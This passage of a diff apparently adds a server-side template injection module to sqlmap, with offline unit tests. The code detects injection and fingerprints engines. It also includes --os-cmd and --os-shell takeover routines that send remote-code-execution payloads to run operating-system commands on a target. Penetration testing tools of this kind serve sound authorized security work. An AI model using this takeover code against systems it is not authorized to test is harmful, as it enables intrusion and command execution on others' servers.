for e in siblings) + return count == 1 + + +def _fingerprint(place, parameter): + """Identify the template engine and confirm injection. Returns (engine, evidence) + where evidence is a dict of detection results, or (None, None). + + Scoring: arithmetic(3) + boolean(2) + error(1) + distinguishing(2). + Engines sharing delimiters require error, distinguishing, or unique boolean + rendering evidence to be named exactly; otherwise they are reported as family/probable.""" + + bestEngine = None + bestEvidence = None + bestScore = 0 + + for engine in _ENGINE_TABLE: + evidence = {} + score = 0 + + # Phase 1: Arithmetic in-band proof with control pair (strongest) + if _probeArithmetic(place, parameter, engine): + evidence["arithmetic"] = True + score += 3 + + # Phase 2: Boolean oracle + if _detectBoolean(place, parameter, engine): + evidence["boolean"] = True + score += 2 + + # Phase 3: Error-based fingerprinting + errorPage = _probeError(place, parameter, engine) + if errorPage is not None: + if _isError(errorPage, engine): + evidence["error"] = True + score += 1 + + # Phase 4: Distinguishing probe (breaks ties within delimiter families) + if _probeDistinguishing(place, parameter, engine): + evidence["distinguishing"] = True + score += 2 + + if score > bestScore: + bestScore = score + bestEngine = engine + bestEvidence = evidence + + if bestEngine and bestScore >= 3: + # For engines with ambiguous delimiters (shared by multiple engines), + # name a specific engine when: error fingerprint, distinguishing probe, + # or boolean rendering is unique within the delimiter family. + _FAMILY = { + "{{": "Jinja2/Twig/Handlebars-like", + "${": "Freemarker/SpringEL-like", + } + if bestEngine.delimiter in _FAMILY: + if (bestEvidence.get("error") or + bestEvidence.get("distinguishing") or + (bestEvidence.get("boolean") and _booleanUniquelyIdentifies(bestEngine))): + pass # specific engine name stands + else: + bestEngine = bestEngine._replace( + name="%s (probable %s)" % (_FAMILY[bestEngine.delimiter], bestEngine.name)) + return bestEngine, bestEvidence + + # Fallback: generic error detection + errorBackend = None + for suffix in ("{{", "${", "<%=", "#{"): + page = _send(place, parameter, _originalValue(place, parameter) + suffix) + if page: + backend = _backendFromError(page) + if backend: + errorBackend = backend + break + + if errorBackend: + for engine in _ENGINE_TABLE: + if engine.name.lower() in errorBackend.lower(): + return engine, {"error": True} + + return None, None + + +def sstiScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + infoMsg = "'--ssti' is self-contained: it detects SSTI and fingerprints " + infoMsg += "common template engines when possible. SQL enumeration " + infoMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" + logger.info(infoMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = 0 + found = [] + + for place in (_ for _ in SSTI_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing SSTI on %s parameter '%s'" % (place, parameter)) + + engine, evidence = _fingerprint(place, parameter) + if engine: + found.append((place, parameter, engine, evidence)) + logger.info("%s parameter '%s' is vulnerable to SSTI (back-end: '%s')" % (place, parameter, engine.name)) + if conf.beep: + beep() + + if engine.arithmeticFmt: + payload = _originalValue(place, parameter) + (engine.arithmeticFmt % (7, 7)) + else: + payload = _originalValue(place, parameter) + engine.booleanTrue + title = "SSTI %s injection" % engine.name + report = "---\nParameter: %s (%s)\n Type: SSTI\n Title: %s\n Payload: %s=%s\n---" % (parameter, place, title, parameter, payload) + conf.dumper.singleString(report) + + if evidence.get("arithmetic"): + logger.info("in-band arithmetic proof confirmed (control-pair)") + if evidence.get("boolean"): + logger.info("boolean oracle confirmed") + + if not found: + if tested: + warnMsg = "no parameter appears to be injectable via SSTI (%d tested)" % tested + else: + warnMsg = "no parameters found to test for SSTI" + logger.warning(warnMsg) + else: + engines = set(engine.name for _, _, engine, _ in found) + if len(engines) == 1: + logger.info("back-end template engine: '%s'" % engines.pop()) + else: + logger.info("back-end template engines: %s" % ", ".join(sorted(engines))) + + if found: + slot = found[0] + place, parameter, engine, evidence = slot + + # --ssti-query: user-provided expression evaluated in-band + if conf.get("sstiQuery"): + _evalExpression(place, parameter, engine, conf.sstiQuery) + + # --ssti-shell: interactive expression evaluation loop + if conf.get("sstiShell"): + infoMsg = "calling SSTI shell. Enter expressions (e.g. 7*7) or 'exit'/'quit' to leave" + logger.info(infoMsg) + from lib.core.common import readInput + while True: + expr = readInput("ssti-shell> ") + if not expr or expr.strip().lower() in ("exit", "quit"): + break + _evalExpression(place, parameter, engine, expr.strip()) + + # --os-cmd / --os-shell: RCE via SSTI (reuses existing SQL takeover flags) + if conf.get("osCmd") or conf.get("osShell"): + if not _canTakeover(engine, evidence): + logger.error("takeover requires exact engine fingerprint (got '%s') and " + "confirmed proof (arithmetic or boolean oracle)" % engine.name) + else: + if conf.get("osCmd"): + _executeCommand(place, parameter, engine, conf.osCmd) + + if conf.get("osShell"): + if conf.get("batch"): + logger.info("skipping interactive OS shell in batch mode") + else: + infoMsg = "calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave" + logger.info(infoMsg) + from lib.core.common import readInput + while True: + cmd = readInput("os-shell> ") + if not cmd or cmd.strip().lower() in ("exit", "quit"): + break + _executeCommand(place, parameter, engine, cmd.strip()) + + logger.info("SSTI scan complete") + + +def _escapeSingleQuoted(value): + """Escape backslashes and single quotes for embedding in a single-quoted string.""" + return value.replace("\\", "\\\\").replace("'", "\\'") + + +def _evalExpression(place, parameter, engine, expr): + """Wrap expr in the engine's expression format, extract result between + random markers for deterministic output, fall back to baseline diff.""" + + if not engine.expressionFmt: + logger.error("expression evaluation not supported for engine '%s'" % engine.name) + return + + original = _originalValue(place, parameter) or "" + startMarker = randomStr(length=8, lowercase=True) + endMarker = randomStr(length=8, lowercase=True) + + # Three-part payload: marker, expression, marker -- each in its own template tag + # so the expression is evaluated independently of the markers + payload = original + (engine.expressionFmt % ("'%s'" % startMarker)) + payload += " " + (engine.expressionFmt % expr) + payload += " " + (engine.expressionFmt % ("'%s'" % endMarker)) + page = _send(place, parameter, payload) + + if not page: + logger.warning("no response for SSTI expression '%s'" % expr) + return + + text = getUnicode(page) + result = None + + # Extract content between the random markers + if startMarker in text and endMarker in text: + start = text.index(startMarker) + len(startMarker) + end = text.index(endMarker, start) + result = text[start:end].strip() + + # Fallback: diff against baseline + if not result: + baseline = _send(place, parameter, original) + if baseline: + sm = difflib.SequenceMatcher(None, getUnicode(baseline), text) + parts = [] + for tag, i1, i2, j1, j2 in sm.get_opcodes(): + if tag in ("insert", "replace"): + parts.append(text[j1:j2]) + if parts: + result = "".join(parts).strip() + + if result: + conf.dumper.singleString("SSTI expression result: %s" % result) + else: + logger.warning("could not extract expression result from response") + + +def _canTakeover(engine, evidence): + """Require exact engine fingerprint (not a family guess) and confirmed + proof before attempting OS command execution.""" + if not engine.rcePayloads: + return False + if "(probable" in engine.name or "-like" in engine.name: + return False + if not (evidence.get("arithmetic") or evidence.get("boolean")): + return False + return True + + +def _executeCommand(place, parameter, engine, cmd): + """Execute an OS command via the engine's RCE payloads, trying each fallback + in order until one produces output. Captures output via baseline diff.""" + + safeCmd = _escapeSingleQuoted(cmd) + original = _originalValue(place, parameter) or "" + baseline = _send(place, parameter, original) + + for payloadTemplate, description in engine.rcePayloads: + payload = payloadTemplate.replace("{CMD}", safeCmd) + fullPayload = original + payload + page = _send(place, parameter, fullPayload) + + if not page: + continue + + # Skip error pages (payload caused a template exception, not a shell) + if engine.errorRegex and _isError(page, engine): + continue + + text = getUnicode(page) + baseText = getUnicode(baseline or "") + output = "" + + if baseText and text != baseText: + sm = difflib.SequenceMatcher(None, baseText, text) + opcodes = sm.get_opcodes() + parts = [] + for tag, i1, i2, j1, j2 in opcodes: + if tag in ("insert", "replace"): + parts.append(text[j1:j2]) + if parts: + output = "".join(parts).strip() + + if not output: + output = text + if original and output.startswith(original): + output = output[len(original):] + output = output.strip() + + # Suppress when output is just the baseline with the original value removed + # (command produced no output; the template rendered empty) + # Filter out template error messages masquerading as command output + if output and _ratio(output, baseText) < UPPER_RATIO_BOUND: + if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output): + conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output)) + return + + logger.warning("no output received for OS command '%s' (tried %d payload(s))" % (cmd, len(engine.rcePayloads))) diff --git a/tests/test_checks.py b/tests/test_checks.py index d0fe284c9..7300c39bb 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -49,7 +49,7 @@ from lib.parse.html import htmlParser # test never leaks state into another test or the rest of the suite. _CONF_KEYS = ( "paramDict", "parameters", "url", "hostname", "method", "skipHeuristics", - "prefix", "suffix", "nosql", "graphql", "ldap", "beep", "string", + "prefix", "suffix", "nosql", "graphql", "ldap", "xpath", "ssti", "beep", "string", "notString", "regexp", "regex", "dummy", "offline", "skipWaf", "data", "hashDB", "cj", "cookie", "dropSetCookie", "httpHeaders", "proxy", "tor", "tamper", "timeout", "retries", "textOnly", "ignoreCode", "disablePrecon", @@ -177,7 +177,7 @@ class TestHeuristicCheckSqlInjection(_ChecksTestBase): conf.parameters = {PLACE.GET: "id=1"} conf.url = "http://test.invalid/index.php?id=1" conf.method = None - conf.nosql = conf.graphql = conf.ldap = False + conf.nosql = conf.graphql = conf.ldap = conf.xpath = conf.ssti = False conf.beep = False kb.heavilyDynamic = False kb.dynamicParameter = False diff --git a/tests/test_ssti.py b/tests/test_ssti.py new file mode 100644 index 000000000..738ae3d95 --- /dev/null +++ b/tests/test_ssti.py @@ -0,0 +1,469 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline tests for the SSTI detection and fingerprinting engine. Mock _send() stands +in for the HTTP/Jinja2 layer so engine table integrity, arithmetic proof, error +detection, boolean oracle, distinguishing probes, and fingerprinting can be +exercised without a live target. +""" + +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.ssti.inject as ssti + + +SENTINEL = ssti.SENTINEL + + +class TestHelpers(unittest.TestCase): + def test_ratio(self): + self.assertGreater(ssti._ratio("abc", "abc"), 0.9) + self.assertLess(ssti._ratio("abc", "xyz"), 0.5) + + def test_delim(self): + from lib.core.enums import PLACE + self.assertEqual(ssti._delim(PLACE.GET), '&') + self.assertEqual(ssti._delim(PLACE.COOKIE), ';') + + +class TestEngineTable(unittest.TestCase): + def test_all_engines_have_required_fields(self): + for engine in ssti._ENGINE_TABLE: + self.assertTrue(len(engine.name) > 0) + self.assertTrue(len(engine.delimiter) > 0) + + def test_arithmetic_engines_have_format_strings(self): + noArith = ("Velocity", "Handlebars") + for engine in ssti._ENGINE_TABLE: + if engine.name not in noArith: + self.assertIn("%d", engine.arithmeticFmt, + "Engine '%s' arithmeticFmt must contain %%d placeholders" % engine.name) + + def test_error_probes_present(self): + for engine in ssti._ENGINE_TABLE: + if engine.errorRegex: + self.assertTrue(len(engine.errorProbes) > 0, + "Engine '%s' has errorRegex but no errorProbes" % engine.name) + + def test_distinguishing_probes_for_curly_engines(self): + curlyEngines = [e for e in ssti._ENGINE_TABLE if e.delimiter == "{{"] + withProbes = [e for e in curlyEngines if e.distinguishingProbe] + # Jinja2 and Twig are distinguished by trueRendered/falseRendered; + # Twig/Handlebars have distinguishing probes. At least one curly engine + # must have a probe, but Jinja2 can rely on boolean rendering difference. + self.assertGreaterEqual(len(withProbes), 1, + "At least one {{}}-delimited engine needs a distinguishing probe") + + def test_boolean_payloads_differ(self): + for engine in ssti._ENGINE_TABLE: + self.assertNotEqual(engine.booleanTrue, engine.booleanFalse, + "Engine '%s' true/false payloads must differ" % engine.name) + if engine.trueRendered: + self.assertNotEqual(engine.trueRendered, engine.falseRendered, + "Engine '%s' true/false rendered values must differ" % engine.name) + + +class TestArithmeticDetection(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_arithmetic_control_pair(self): + engine = ssti._ENGINE_TABLE[0] # Jinja2 + + def mock(place, parameter, value): + import re + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + a, b = int(m.group(1)), int(m.group(2)) + return "Hello %d" % (a * b) + return "Hello " + value + + ssti._send = mock + self.assertTrue(ssti._probeArithmetic("GET", "q", engine)) + + def test_arithmetic_requires_both_results_correct(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "Hello 42" # always returns 42 regardless of payload + + ssti._send = mock + # Control pair check: result1 must NOT appear in page2 and vice versa + self.assertFalse(ssti._probeArithmetic("GET", "q", engine)) + + def test_handlebars_skipped(self): + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Handlebars"][0] + self.assertFalse(ssti._probeArithmetic("GET", "q", engine)) + + +class TestErrorDetection(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_error_detected(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + if "{{" in value and "unknown" in value: + return "jinja2.exceptions.TemplateSyntaxError: unexpected '}'" + return "Hello " + value + + ssti._send = mock + page = ssti._probeError("GET", "q", engine) + self.assertIsNotNone(page) + + def test_no_error_on_normal_response(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "Hello " + value + + ssti._send = mock + page = ssti._probeError("GET", "q", engine) + self.assertIsNone(page) + + def test_backend_from_error(self): + page = "jinja2.exceptions.UndefinedError: 'foo' is undefined" + backend = ssti._backendFromError(page) + self.assertIsNotNone(backend) + + +class TestDistinguishingProbes(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_no_distinguishing_probe(self): + engine = ssti._ENGINE_TABLE[0] # Jinja2 + self.assertFalse(engine.distinguishingProbe, + "Jinja2 uses trueRendered/falseRendered for disambiguation, not a separate probe") + + def test_no_distinguishing_without_probe(self): + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Pug/Jade"][0] + self.assertFalse(ssti._probeDistinguishing("GET", "q", engine)) + + def test_comment_probe_reflection_rejected(self): + """Comment-style probe reflected verbatim must not pass.""" + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Freemarker"][0] + + def mock(place, parameter, value): + if "<#--" in value: + return "Hello <#-- freemarker -->" # raw reflection + return "Hello " + value + + ssti._send = mock + self.assertFalse(ssti._probeDistinguishing("GET", "q", engine)) + + +class TestBooleanDetection(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_boolean(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + if "True" in value: + return "Hello True" + elif "False" in value: + return "Hello False" + return "Hello " + value + + ssti._send = mock + template = ssti._detectBoolean("GET", "q", engine) + self.assertIsNotNone(template) + + def test_no_boolean_when_true_false_same(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "same response" + + ssti._send = mock + template = ssti._detectBoolean("GET", "q", engine) + self.assertIsNone(template) + + def test_plain_reflection_rejected(self): + """Raw payload reflection must not pass boolean detection.""" + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "Hello " + value # reflects payload verbatim + + ssti._send = mock + template = ssti._detectBoolean("GET", "q", engine) + self.assertIsNone(template) + + +class TestFingerprint(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_fingerprinted_with_arith_and_boolean(self): + import re + + def mock(place, parameter, value): + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + if "True" in value: + return "Hello True" # Jinja2-style boolean rendering + if "False" in value: + return "Hello False" + if "unknown|filter" in value: + return "jinja2.exceptions.TemplateSyntaxError: unexpected '}'" + return "Hello " + value + + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(engine) + self.assertIn("Jinja2", engine.name) + self.assertTrue(evidence.get("arithmetic")) + self.assertTrue(evidence.get("boolean")) + + +class TestCrossEngineDisambiguation(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_preferred_over_twig_via_boolean_rendering(self): + """Jinja2 and Twig share {{ }} but differ in boolean rendering. + Jinja2 renders True as 'True', Twig renders true as '1'. + Our detection uses trueRendered for intrinsic discrimination.""" + import re + + def mock(place, parameter, value): + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + # Twig-style boolean rendering (true -> 1, false -> empty) + if "{{ true }}" in value: + return "Hello 1" + if "{{ false }}" in value: + return "Hello " + if "{{ True }}" in value: + return "Hello 1" # Jinja2 True payload would not match this + return "Hello " + value + + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(engine) + # Twig should win because its boolean payloads match the mock + self.assertIn("Twig", engine.name) + + +class TestExpressionEvaluation(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_eval_uses_expressionFmt(self): + engine = ssti._ENGINE_TABLE[0] # Jinja2: expressionFmt = "{{ %s }}" + results = [] + + def mock(place, parameter, value): + results.append(value) + return "Hello __marker__ 49 __marker2__" + + ssti._send = mock + ssti._evalExpression("GET", "q", engine, "7*7") + # Payload must use expressionFmt, not raw delimiter concatenation + self.assertIn("{{ ", results[0]) + self.assertIn(" }}", results[0]) + + def test_eval_falls_back_when_no_expressionFmt(self): + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Handlebars"][0] + self.assertEqual(engine.expressionFmt, "") + + def mock(place, parameter, value): + return "irrelevant" + + ssti._send = mock + # Should not raise; just logs error + ssti._evalExpression("GET", "q", engine, "7*7") + + +class TestBooleanUniqueness(unittest.TestCase): + def test_jinja2_boolean_unique_among_curlies(self): + jinja2 = ssti._ENGINE_TABLE[0] + self.assertTrue(ssti._booleanUniquelyIdentifies(jinja2)) + + def test_freemarker_boolean_not_unique(self): + freemarker = [e for e in ssti._ENGINE_TABLE if e.name == "Freemarker"][0] + # Freemarker and SpringEL both use ("${}", "true", "false") signature + self.assertFalse(ssti._booleanUniquelyIdentifies(freemarker)) + + def test_jinja2_with_arithmetic_and_boolean_is_exact(self): + """Arithmetic + boolean (unique) should produce exact engine name, + not a family/probable guess.""" + import re + + def mock(place, parameter, value): + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + if "True" in value: + return "Hello True" + if "False" in value: + return "Hello False" + return "Hello " + value + + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(engine) + # Boolean is unique -> should NOT be marked "(probable" + self.assertNotIn("(probable", engine.name) + self.assertIn("Jinja2", engine.name) + + +class TestTakeoverGate(unittest.TestCase): + def test_can_takeover_exact_engine_with_proof(self): + engine = ssti._ENGINE_TABLE[0] # Jinja2 + evidence = {"arithmetic": True, "boolean": True} + self.assertTrue(ssti._canTakeover(engine, evidence)) + + def test_cannot_takeover_probable_engine(self): + engine = ssti._ENGINE_TABLE[0]._replace(name="Jinja2/Twig/Handlebars-like (probable Jinja2)") + evidence = {"arithmetic": True} + self.assertFalse(ssti._canTakeover(engine, evidence)) + + def test_cannot_takeover_without_proof(self): + engine = ssti._ENGINE_TABLE[0] + evidence = {} + self.assertFalse(ssti._canTakeover(engine, evidence)) + + def test_cannot_takeover_without_payloads(self): + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Handlebars"][0] + evidence = {"arithmetic": True} + self.assertFalse(ssti._canTakeover(engine, evidence)) + + +class TestRequestMutation(unittest.TestCase): + """Verify _replaceSegment() correctly mutates parameter strings.""" + + def setUp(self): + self.original_send = ssti._send + self._orig_params = dict(ssti.conf.parameters) if hasattr(ssti.conf, 'parameters') else {} + self._orig_paramDict = dict(ssti.conf.paramDict) if hasattr(ssti.conf, 'paramDict') else {} + self._orig_cookieDel = getattr(ssti.conf, 'cookieDel', None) + + def tearDown(self): + ssti._send = self.original_send + if hasattr(ssti.conf, 'parameters'): + ssti.conf.parameters.clear() + ssti.conf.parameters.update(self._orig_params) + if hasattr(ssti.conf, 'paramDict'): + ssti.conf.paramDict.clear() + ssti.conf.paramDict.update(self._orig_paramDict) + if self._orig_cookieDel is not None: + ssti.conf.cookieDel = self._orig_cookieDel + + def test_replace_segment_single_param(self): + ssti.conf.parameters = {"GET": "q=x"} + result = ssti._replaceSegment("GET", "q", "test") + self.assertEqual(result, "q=test") + + def test_replace_segment_multi_param(self): + ssti.conf.parameters = {"GET": "q=x&a=1&b=2"} + result = ssti._replaceSegment("GET", "a", "99") + self.assertEqual(result, "q=x&a=99&b=2") + + def test_replace_segment_post(self): + ssti.conf.parameters = {"POST": "user=admin&pass=secret"} + result = ssti._replaceSegment("POST", "pass", "newpass") + self.assertEqual(result, "user=admin&pass=newpass") + + def test_replace_segment_cookie_delim(self): + from lib.core.enums import PLACE + ssti.conf.parameters = {PLACE.COOKIE: "a=1;b=2"} + ssti.conf.cookieDel = ";" + result = ssti._replaceSegment(PLACE.COOKIE, "b", "xx") + self.assertEqual(result, "a=1;b=xx") + + def test_replace_segment_missing_param(self): + ssti.conf.parameters = {"GET": "a=1"} + ssti.conf.paramDict = {"GET": {"a": "1", "b": "2"}} + result = ssti._replaceSegment("GET", "b", "xx") + self.assertEqual(result, "a=1&b=xx") + + +class TestExecuteCommand(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + self.original_dumper = getattr(ssti.conf, 'dumper', None) + # Provide a mock dumper so _executeCommand doesn't crash on conf.dumper + from lib.core.datatype import AttribDict + ssti.conf.dumper = AttribDict() + ssti.conf.dumper.singleString = lambda msg: None + + def tearDown(self): + ssti._send = self.original_send + if self.original_dumper is not None: + ssti.conf.dumper = self.original_dumper + + def test_error_page_skipped(self): + """RCE payload that triggers a template error is skipped; next payload tried.""" + engine = ssti._ENGINE_TABLE[0] # Jinja2 + calls = [] + + def mock(place, parameter, value): + calls.append(value) + if "cycler" in value: + return "jinja2.exceptions.UndefinedError: 'cycler' is undefined" + if "config" in value: + return "Hello output-from-config" + return "Hello " + value + + ssti._send = mock + ssti._executeCommand("GET", "q", engine, "test") + # Should skip cycler (error) and use config (valid output) + self.assertTrue(any("config" in c for c in calls), + "Should have tried the second payload after error skip") + + def test_all_error_pages_produce_warning(self): + """When all RCE payloads produce template errors, no success is reported. + _executeCommand sends baseline + one request per fallback payload.""" + engine = ssti._ENGINE_TABLE[0] + calls = [] + + def mock(place, parameter, value): + calls.append(value) + return "jinja2.exceptions.TemplateSyntaxError: unexpected token" + + ssti._send = mock + ssti._executeCommand("GET", "q", engine, "test") + # 1 baseline + N payload attempts = N+1 calls + self.assertEqual(len(calls), len(engine.rcePayloads) + 1, + "Should have tried all payloads (baseline + one per fallback) before giving up") + + +class TestCommandEscaping(unittest.TestCase): + def test_escape_single_quoted(self): + self.assertEqual(ssti._escapeSingleQuoted("hello"), "hello") + self.assertEqual(ssti._escapeSingleQuoted("it's"), "it\\'s") + self.assertEqual(ssti._escapeSingleQuoted("a\\b"), "a\\\\b")